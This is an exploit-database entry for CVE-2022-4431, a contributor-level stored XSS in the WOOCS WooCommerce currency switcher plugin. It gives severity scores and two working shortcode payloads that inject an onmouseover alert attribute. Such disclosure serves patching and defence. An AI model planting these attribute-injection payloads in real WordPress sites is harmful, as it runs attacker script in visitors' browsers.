Exploit for WOOCS < 1.3.9.4 - Contributor+ Stored XSS

CVE-2022-4431

wpexploit · 2022-12-20

Description

Woocs plugin version 1.3.9.4 has a stored XSS vulnerability

Affected Pluginus Fox - Currency Switcher Professional For Woocommerce versions

Pluginus Fox - Currency Switcher Professional For Woocommerce< 1.3.9.4

All known vulnerabilities by product

Woocs

CVSS 5.4 for CVE-2022-4431

5.4

MEDIUM SEVERITY

Version 3.1

VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Attack Vector:NETWORK

Attack Complexity:LOW

Privileges Required:LOW

User Interaction:REQUIRED

Scope:CHANGED

Confidentiality:LOW

Integrity:LOW

Availability:NONE

EPSS Score

0.5%higher than 38.8% of all CVEs

Updated 2026-06-16

Exploit Details

Modified:2022-12-20 02:34

Last Seen:2023-01-25 02:40

Reporter:Lana Codes

Other exploits for CVE-2022-4431

WOOCS < 1.3.9.3 - Contributor+ Stored XSS

2022-12-20 Lana CodesWPEXPLOIT

Exploit Code

MARKDOWN4 lines

## https://sploitus.com/exploit?id=WPEX-ID:860B882B-983C-44B5-8C09-B6890DF8A0DA
[woocs_show_current_currency currency='1" onmouseover="alert(/XSS/)" b=' text='ClickMe!']

[woocs_rates precision='1" onmouseover="alert(/XSS/)" b=']

Exploit Code

Share

Share on social media: